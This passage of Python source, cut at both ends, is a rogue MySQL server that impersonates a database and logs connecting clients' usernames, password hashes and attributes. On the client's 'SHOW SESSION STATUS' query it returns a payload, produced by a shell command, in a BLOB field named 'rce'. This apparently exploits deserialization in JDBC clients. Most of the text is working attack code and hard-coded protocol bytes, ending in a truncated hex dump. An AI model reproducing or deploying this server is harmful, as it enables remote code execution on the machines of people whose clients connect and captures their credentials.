        return self.response_body

class Auth_Response:
    def __init__(self):
        self.packet_id = b"\x02"
        self.response_code = b"\x00"  # OK
        self.affected_rows = b"\x00\x00"
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body

class OK_ID_Packet:
    def __init__(self,id):
        self.packet_id = id.to_bytes(1,"little")
        self.response_code = b"\x00"  # OK
        self.affected_rows = b"\x00\x00"
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body
class EOF_ID_Packet:
    def __init__(self,id):
        self.packet_id = id.to_bytes(1,"little")
        self.response_code = b"\xfe"  # OK
        self.server_status_flags = b"\x02\x00"
        self.warning_count = b"\x00\x00"
        self.res = b"".join([self.response_code,self.warning_count,self.server_status_flags])
        self.res_len = len(self.res).to_bytes(3,"little")
        self.response_body = b"".join([self.res_len,self.packet_id,self.res])
    def to_bytes(self):
        return self.response_body
    
class TextResultSet_Response:
    def __init__(self):
        pass
    def to_bytes(self,data,len):
        column_packet = Column_Count_Packet(1).to_bytes()
        field_packet = Field_Packet(len).to_bytes()
        row_packet = Row_Packet(3,data).to_bytes()
        return b"".join([column_packet,field_packet,row_packet])
        
class Column_Count_Packet():
    def __init__(self,count:int):
       self.count = count
    def to_bytes(self):
        if self.count < 0xff:
            return b"\x01\x00\x00\x01" + self.count.to_bytes(1,"little")
        else:
            return b"\x01\x00\x00\x01\xff"
        

class Field_Packet():
    def __init__(self,len):
        self.packet_number = b"\x02"
        self.catalog = self.setProperties(b"\x64\x65\x66")
        self.schema = b"\x00" # 数据库名   
        self.table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 表名
        self.org_table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 原始表名
        self.name = self.setProperties(b"rce") # 字段名
        self.org_name = self.setProperties(b"rce") # 原始字段名
        self.const_char = b"\x0c" # 常量字符    
        self.character_set = b"\x3f\x00" # 字符集
        self.field_length = len.to_bytes(4,"little") # 最大长度
        print(self.field_length)
        print(FieldType.MYSQL_TYPE_BLOB.value)
        self.type = FieldType.MYSQL_TYPE_BLOB.value[0].to_bytes(1,"little") # 字段类型
        self.flags = b"\xff\xff" # 标志
        self.decimals = b"\x00" # 小数位数
        self.filler = b"\x00"*2 # 填充
        print(ColorOutput.success(str("初始化完毕:"+str(self.field_length))),flush=True)
    def to_bytes(self):
        p =  b"".join([self.catalog,self.schema,self.table,self.org_table,self.name,self.org_name,self.const_char,self.character_set,self.field_length,self.type,self.flags,self.decimals,self.filler])
        p_len = len(p).to_bytes(3,"little")
        return b"".join([p_len,self.packet_number,p])
    def setProperties(self,data):
        data_len = len(data).to_bytes(1,byteorder="little")
        data = b"".join([data_len,data])
        print(ColorOutput.success(str("拼接成功:"+str(data_len))),flush=True)
        return data
    
class Row_Packet():
    def __init__(self,packet_number,data):
        self.packet_number = packet_number.to_bytes(1,"little")
        self.value = data
    def to_bytes(self):
        if len(self.value) <= 0xff: 
            self.value_len = len(self.value).to_bytes(1,"little")
            self.content = b"".join([self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
        elif len(self.value) <= 0xffff:
            self.value_len = len(self.value).to_bytes(2,"little")
            self.content = b"".join([b"\xfc",self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
        else:
            self.value_len = len(self.value).to_bytes(4,"little")
            self.content = b"".join([self.value_len,self.value])
            self.len = len(self.content).to_bytes(3,"little")
            return b"".join([self.len,self.packet_number,self.content])
    

def get_bits(hex_value):
    # 将16进制字符串转换为整数
    num = int(hex_value, 16)
    # 获取该数的二进制表示(去掉前缀 '0b')
    bin_representation = bin(num)[2:].zfill(4)  # 使用zfill补齐
    # 返回每一位的比特值
    bits = [int(bit) for bit in bin_representation]
    return bits



def Greeting_Response_Prase(data):
    print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)

    cpos =0
    client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
    # print(get_bits(client_capability_flags[-1]))
    haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
    cpos += 2
    extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
    print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
    cpos += 2
    max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
    print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)

    cpos += 4
    character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
    print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)

    cpos += 1
    client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
    print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)

    cpos += 23
    data = data[cpos:]
    null_pos = data.find(b"\x00")
    print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)

    ccpos = 0
    ccpos += null_pos + 1
    client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
    print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)

    ccpos += 1
    client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
    print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
    ccpos += client_password_hash_len
    data = data[ccpos:]
    if haveTable:
        client_table_name_len = data.find(b"\x00")
        client_table_name = data[:client_table_name_len].decode("utf-8")
        print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
        ccpos = client_table_name_len + 1
        data = data[ccpos:]


    client_auth_plugin_name_len  = data.find(b"\x00")
    client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
    print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
    cccpos = client_auth_plugin_name_len +1
    client_connection_attributes_len =  struct.unpack("<B",data[cccpos:cccpos+1])[0]
    print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
    cccpos += 1
    client_connection_attributes = data[cccpos:]
    arrtibute_prase(client_connection_attributes,client_connection_attributes_len)

def arrtibute_prase(data,length):
    cpos = 0
    while cpos < length:
        attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
        cpos += 1
        attribute_value = data[cpos:cpos+attribute_length]
        print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
        cpos += attribute_length

def quert_prase(data):
    query_type = data[0:1]
    if query_type == QueryType.SLEEP.value:
        print(ColorOutput.info(f"查询类型: SLEEP,查询语句 {data[1:]}"), flush=True)
    elif query_type == QueryType.QUIT.value:
        print(ColorOutput.info("查询类型: QUIT"), flush=True)
    elif query_type == QueryType.INIT_DB.value:
        print(ColorOutput.info("查询类型: INIT_DB"), flush=True)
    elif query_type == QueryType.QUERY.value:
        print(ColorOutput.info(f"查询类型: QUERY,查询语句 {data[1:]}"), flush=True)
    elif query_type == QueryType.FIELD_LIST.value:
        print(ColorOutput.info("查询类型: FIELD_LIST"), flush=True)
    elif query_type == QueryType.CREATE_DB.value:
        print(ColorOutput.info("查询类型: CREATE_DB"), flush=True)
    elif query_type == QueryType.DROP_DB.value:
        print(ColorOutput.info("查询类型: DROP_DB"), flush=True)
    elif query_type == QueryType.REFRESH.value:
        print(ColorOutput.info("查询类型: REFRESH"), flush=True)
    elif query_type == QueryType.SHUTDOWN.value:
        print(ColorOutput.info("查询类型: SHUTDOWN"), flush=True)
    elif query_type == QueryType.STATISTICS.value:
        print(ColorOutput.info("查询类型: STATISTICS"), flush=True)
    elif query_type == QueryType.PROCESS_INFO.value:
        print(ColorOutput.info("查询类型: PROCESS_INFO"), flush=True)
    elif query_type == QueryType.CONNECT.value:
        print(ColorOutput.info("查询类型: CONNECT"), flush=True)
    elif query_type == QueryType.PROCESS_KILL.value:
        print(ColorOutput.info("查询类型: PROCESS_KILL"), flush=True)
    elif query_type == QueryType.DEBUG.value:
        print(ColorOutput.info("查询类型: DEBUG"), flush=True)
    elif query_type == QueryType.PING.value:
        print(ColorOutput.info("查询类型: PING"), flush=True)
    elif query_type == QueryType.TIME.value:
        print(ColorOutput.info("查询类型: TIME"), flush=True)
    elif query_type == QueryType.DELAYED_INSERT.value:
        print(ColorOutput.info("查询类型: DELAYED_INSERT"), flush=True)
    elif query_type == QueryType.CHANGE_USER.value:
        print(ColorOutput.info("查询类型: CHANGE_USER"), flush=True)
    elif query_type == QueryType.BINLOG_DUMP.value:
        print(ColorOutput.info("查询类型: BINLOG_DUMP"), flush=True)
    elif query_type == QueryType.TABLE_DUMP.value:
        print(ColorOutput.info("查询类型: TABLE_DUMP"), flush=True)
    elif query_type == QueryType.CONNECT_OUT.value:
        print(ColorOutput.info("查询类型: CONNECT_OUT"), flush=True)
    elif query_type == QueryType.REGISTER_SLAVE.value:
        print(ColorOutput.info("查询类型: REGISTER_SLAVE"), flush=True)
    elif query_type == QueryType.STMT_PREPARE.value:
        print(ColorOutput.info("查询类型: STMT_PREPARE"), flush=True)
    elif query_type == QueryType.STMT_EXECUTE.value:
        print(ColorOutput.info("查询类型: STMT_EXECUTE"), flush=True)
    elif query_type == QueryType.STMT_SEND_LONG_DATA.value:
        print(ColorOutput.info("查询类型: STMT_SEND_LONG_DATA"), flush=True)
    elif query_type == QueryType.STMT_CLOSE.value:
        print(ColorOutput.info("查询类型: STMT_CLOSE"), flush=True)
    elif query_type == QueryType.STMT_RESET.value:
        print(ColorOutput.info("查询类型: STMT_RESET"), flush=True)
    elif query_type == QueryType.SET_OPTION.value:
        print(ColorOutput.info("查询类型: SET_OPTION"), flush=True)
    elif query_type == QueryType.STMT_FETCH.value:
        print(ColorOutput.info("查询类型: STMT_FETCH"), flush=True)
    elif query_type == QueryType.DAEMON.value:
        print(ColorOutput.info("查询类型: DAEMON"), flush=True)
    elif query_type == QueryType.BINLOG_DUMP_GTID.value:
        print(ColorOutput.info("查询类型: BINLOG_DUMP_GTID"), flush=True)
    elif query_type == QueryType.RESET_CONNECTION.value:
        print(ColorOutput.info("查询类型: RESET_CONNECTION"), flush=True)
    else:
        print(ColorOutput.error("未知的查询类型"), flush=True)
    if data[1:] == b"SHOW SESSION STATUS":
        print(ColorOutput.warning("查询类型: SHOW SESSION STATUS"), flush=True)
        return True
    return False

def read_mysql_packet(sock):
    """读取一个完整的 MySQL 数据包"""
    # 读取包头(4字节)
    header = sock.recv(4)
    if not header or len(header) < 4:
        return None

    # 前3字节是包长度(小端序)
    packet_length = int.from_bytes(header[:3], byteorder='little')
    print(ColorOutput.info(str("请求包长度:"+str(packet_length))))
    # 第4字节是序列号
    sequence_id = header[3]

    # 读取包体
    packet_body = b""
    remaining = packet_length
    while remaining > 0:
        chunk = sock.recv(remaining)
        if not chunk:
            return None
        packet_body += chunk
        remaining -= len(chunk)

    return packet_body

def handle_client(client_socket,filename,payload):
    try:
        client_socket.sendall(Greeting().to_bytes())

        # 读取客户端的认证响应包
        auth_response = read_mysql_packet(client_socket)
        if auth_response:
            try:
                Greeting_Response_Prase(auth_response)
            except Exception as e:
                print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)
            #认证成功
            client_socket.sendall(Auth_Response().to_bytes())
            #第一次请求  获取系统变量
            file_data = read_mysql_packet(client_socket)
            #查询语句
            quert_prase(file_data)
            #第一次请求返回结果
            client_socket.sendall(get_var_data())

            #第二次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(OK_ID_Packet(1).to_bytes())

            #第三次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(get_commit_data())

            #第四次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            payload = subprocess.Popen(payload,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE).stdout.read()
            # client_socket.sendall(get_status_data())
            client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload)),EOF_ID_Packet(4).to_bytes()]))

            # res = read_mysql_packet(client_socket)
            # quert_prase(res)
            # client_socket.sendall(OK_ID_Packet(1).to_bytes())
            #第五次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(get_status_data())

            #第六次请求
            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(OK_ID_Packet(1).to_bytes())

            res = read_mysql_packet(client_socket)
            quert_prase(res)
            client_socket.sendall(OK_ID_Packet(1).to_bytes())
    except Exception as e:
        print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
    finally:
        client_socket.close()

def client_handler(server,filename,payload):
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            try:
                client_socket, addr = server.accept()
                executor.submit(handle_client, client_socket,filename,payload)
            except Exception as e:
                print(e)
                # 当server socket被关闭时,退出循环
                break
        

def start_server(port,filename,payload):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    print("Server listening on port 3306")

    handler_thread = threading.Thread(target=client_handler, args=(server,filename,payload))
    handler_thread.daemon = True
    handler_thread.start()

    try:
        while True:
            time.sleep(10)
            # print("Server is running")
    except KeyboardInterrupt:
        print("\nCtrl+C pressed")
        server.close()
        print("Server shutting down")
def get_status_data():
    return b"\x01\x00\x00\x01\x02\x4c\x00\x00\x02\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0c\x21\x00\xc0\x00\x00\x00\xfd\x01\x10\x00\x00\x00\x3c\x00\x00\x03\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x05\x56\x61\x6c\x75\x65\x05\x56\x61\x6c\x75\x65\x0c\x21\x00\x00\x0c\x00\x00\xfd\x00\x00\x00\x00\x00\x12\x00\x00\x04\x0f\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6c\x69\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x05\x10\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x18\x00\x00\x06\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x13\x00\x00\x07\x10\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x1d\x00\x00\x08\x1a\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x18\x00\x00\x09\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x14\x00\x00\x0a\x0e\x42\x79\x74\x65\x73\x5f\x72\x65\x63\x65\x69\x76\x65\x64\x04\x31\x33\x32\x39\x11\x00\x00\x0b\x0a\x42\x79\x74\x65\x73\x5f\x73\x65\x6e\x74\x05\x31\x31\x34\x38\x34\x15\x00\x00\x0c\x12\x43\x6f\x6d\x5f\x61\x64\x6d\x69\x6e\x5f\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x01\x30\x19\x00\x00\x0d\x16\x43\x6f\x6d\x5f\x61\x73\x73\x69\x67\x6e\x5f\x74\x6f\x5f\x6b\x65\x79\x63\x61\x63\x68\x65\x01\x30\x0f\x00\x00\x0e\x0c\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x01\x30\x17\x00\x00\x0f\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x5f\x75\x70\x67\x72\x61\x64\x65\x01\x30\x12\x00\x00\x10\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x65\x76\x65\x6e\x74\x01\x30\x15\x00\x00\x11\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x15\x00\x00\x12\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x01\x30\x16\x00\x00\x13\x13\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x13\x00\x00\x14\x10\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x12\x00\x00\x15\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x01\x30\x17\x00\x00\x16\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x73\x70\x61\x63\x65\x01\x30\x11\x00\x00\x17\x0e\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x75\x73\x65\x72\x01\x30\x0e\x00\x00\x18\x0b\x43\x6f\x6d\x5f\x61\x6e\x61\x6c\x79\x7a\x65\x01\x30\x0c\x00\x00\x19\x09\x43\x6f\x6d\x5f\x62\x65\x67\x69\x6e\x01\x30\x0d\x00\x00\x1a\x0a\x43\x6f\x6d\x5f\x62\x69\x6e\x6c\x6f\x67\x01\x30\x15\x00\x00\x1b\x12\x43\x6f\x6d\x5f\x63\x61\x6c\x6c\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x10\x00\x00\x1c\x0d\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x64\x62\x01\x30\x14\x00\x00\x1d\x11\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x6d\x61\x73\x74\x65\x72\x01\x30\x19\x00\x00\x1e\x16\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x72\x65\x70\x6c\x5f\x66\x69\x6c\x74\x65\x72\x01\x30\x0c\x00\x00\x1f\x09\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x01\x30\x0f\x00\x00\x20\x0c\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x73\x75\x6d\x01\x30\x0d\x00\x00\x21\x0a\x43\x6f\x6d\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x10\x00\x00\x22\x0d\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x13\x00\x00\x23\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x16\x00\x00\x24\x13\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x13\x00\x00\x25\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x69\x6e\x64\x65\x78\x01\x30\x17\x00\x00\x26\x14\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x14\x00\x00\x27\x11\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x13\x00\x00\x28\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x15\x00\x00\x29\x12\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x11\x00\x00\x2a\x0e\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x64\x66\x01\x30\x12\x00\x00\x2b\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x73\x65\x72\x01\x30\x12\x00\x00\x2c\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x2d\x0f\x43\x6f\x6d\x5f\x64\x65\x61\x6c\x6c\x6f\x63\x5f\x73\x71\x6c\x01\x30\x0d\x00\x00\x2e\x0a\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x01\x30\x13\x00\x00\x2f\x10\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x5f\x6d\x75\x6c\x74\x69\x01\x30\x09\x00\x00\x30\x06\x43\x6f\x6d\x5f\x64\x6f\x01\x30\x0e\x00\x00\x31\x0b\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x64\x62\x01\x30\x11\x00\x00\x32\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x65\x76\x65\x6e\x74\x01\x30\x14\x00\x00\x33\x11\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x11\x00\x00\x34\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x69\x6e\x64\x65\x78\x01\x30\x15\x00\x00\x35\x12\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x12\x00\x00\x36\x0f\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x11\x00\x00\x37\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x61\x62\x6c\x65\x01\x30\x13\x00\x00\x38\x10\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x10\x00\x00\x39\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x75\x73\x65\x72\x01\x30\x10\x00\x00\x3a\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x3b\x0f\x43\x6f\x6d\x5f\x65\x6d\x70\x74\x79\x5f\x71\x75\x65\x72\x79\x01\x30\x12\x00\x00\x3c\x0f\x43\x6f\x6d\x5f\x65\x78\x65\x63\x75\x74\x65\x5f\x73\x71\x6c\x01\x30\x14\x00\x00\x3d\x11\x43\x6f\x6d\x5f\x65\x78\x70\x6c\x61\x69\x6e\x5f\x6f\x74\x68\x65\x72\x01\x30\x0c\x00\x00\x3e\x09\x43\x6f\x6d\x5f\x66\x6c\x75\x73\x68\x01\x30\x16\x00\x00\x3f\x13\x43\x6f\x6d\x5f\x67\x65\x74\x5f\x64\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x01\x30\x0c\x00\x00\x40\x09\x43\x6f\x6d\x5f\x67\x72\x61\x6e\x74\x01\x30\x0f\x00\x00\x41\x0c\x43\x6f\x6d\x5f\x68\x61\x5f\x63\x6c\x6f\x73\x65\x01\x30\x0e\x00\x00\x42\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x6f\x70\x65\x6e\x01\x30\x0e\x00\x00\x43\x0b\x43\x6f\x6d\x5f\x68\x61\x5f\x72\x65\x61\x64\x01\x30\x0b\x00\x00\x44\x08\x43\x6f\x6d\x5f\x68\x65\x6c\x70\x01\x30\x0d\x00\x00\x45\x0a\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x01\x30\x14\x00\x00\x46\x11\x43\x6f\x6d\x5f\x69\x6e\x73\x65\x72\x74\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x15\x00\x00\x47\x12\x43\x6f\x6d\x5f\x69\x6e\x73\x74\x61\x6c\x6c\x5f\x70\x6c\x75\x67\x69\x6e\x01\x30\x0b\x00\x00\x48\x08\x43\x6f\x6d\x5f\x6b\x69\x6c\x6c\x01\x30\x0b\x00\x00\x49\x08\x43\x6f\x6d\x5f\x6c\x6f\x61\x64\x01\x30\x12\x00\x00\x4a\x0f\x43\x6f\x6d\x5f\x6c\x6f\x63\x6b\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x0f\x00\x00\x4b\x0c\x43\x6f\x6d\x5f\x6f\x70\x74\x69\x6d\x69\x7a\x65\x01\x30\x13\x00\x00\x4c\x10\x43\x6f\x6d\x5f\x70\x72\x65\x6c\x6f\x61\x64\x5f\x6b\x65\x79\x73\x01\x30\x12\x00\x00\x4d\x0f\x43\x6f\x6d\x5f\x70\x72\x65\x70\x61\x72\x65\x5f\x73\x71\x6c\x01\x30\x0c\x00\x00\x4e\x09\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x01\x30\x18\x00\x00\x4f\x15\x43\x6f\x6d\x5f\x70\x75\x72\x67\x65\x5f\x62\x65\x66\x6f\x72\x65\x5f\x64\x61\x74\x65\x01\x30\x18\x00\x00\x50\x15\x43\x6f\x6d\x5f\x72\x65\x6c\x65\x61\x73\x65\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x13\x00\x00\x51\x10\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x12\x00\x00\x52\x0f\x43\x6f\x6d\x5f\x72\x65\x6e\x61\x6d\x65\x5f\x75\x73\x65\x72\x01\x30\x0d\x00\x00\x53\x0a\x43\x6f\x6d\x5f\x72\x65\x70\x61\x69\x72\x01\x30\x0e\x00\x00\x54\x0b\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x01\x30\x15\x00\x00\x55\x12\x43\x6f\x6d\x5f\x72\x65\x70\x6c\x61\x63\x65\x5f\x73\x65\x6c\x65\x63\x74\x01\x30\x0c\x00\x00\x56\x09\x43\x6f\x6d\x5f\x72\x65\x73\x65\x74\x01\x30\x0f\x00\x00\x57\x0c\x43\x6f\x6d\x5f\x72\x65\x73\x69\x67\x6e\x61\x6c\x01\x30\x0d\x00\x00\x58\x0a\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x01\x30\x11\x00\x00\x59\x0e\x43\x6f\x6d\x5f\x72\x65\x76\x6f\x6b\x65\x5f\x61\x6c\x6c\x01\x30\x0f\x00\x00\x5a\x0c\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x01\x30\x1c\x00\x00\x5b\x19\x43\x6f\x6d\x5f\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x5f\x74\x6f\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x10\x00\x00\x5c\x0d\x43\x6f\x6d\x5f\x73\x61\x76\x65\x70\x6f\x69\x6e\x74\x01\x30\x0d\x00\x00\x5d\x0a\x43\x6f\x6d\x5f\x73\x65\x6c\x65\x63\x74\x01\x32\x11\x00\x00\x5e\x0e\x43\x6f\x6d\x5f\x73\x65\x74\x5f\x6f\x70\x74\x69\x6f\x6e\x01\x32\x0d\x00\x00\x5f\x0a\x43\x6f\x6d\x5f\x73\x69\x67\x6e\x61\x6c\x01\x30\x19\x00\x00\x60\x16\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x5f\x65\x76\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x61\x10\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x62\x69\x6e\x6c\x6f\x67\x73\x01\x30\x14\x00\x00\x62\x11\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x68\x61\x72\x73\x65\x74\x73\x01\x30\x16\x00\x00\x63\x13\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x73\x01\x30\x15\x00\x00\x64\x12\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x18\x00\x00\x65\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x17\x00\x00\x66\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x01\x30\x17\x00\x00\x67\x14\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x01\x30\x18\x00\x00\x68\x15\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x1a\x00\x00\x69\x17\x43\x6f\x6d\x5f\x73\x68\x6f\x77\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67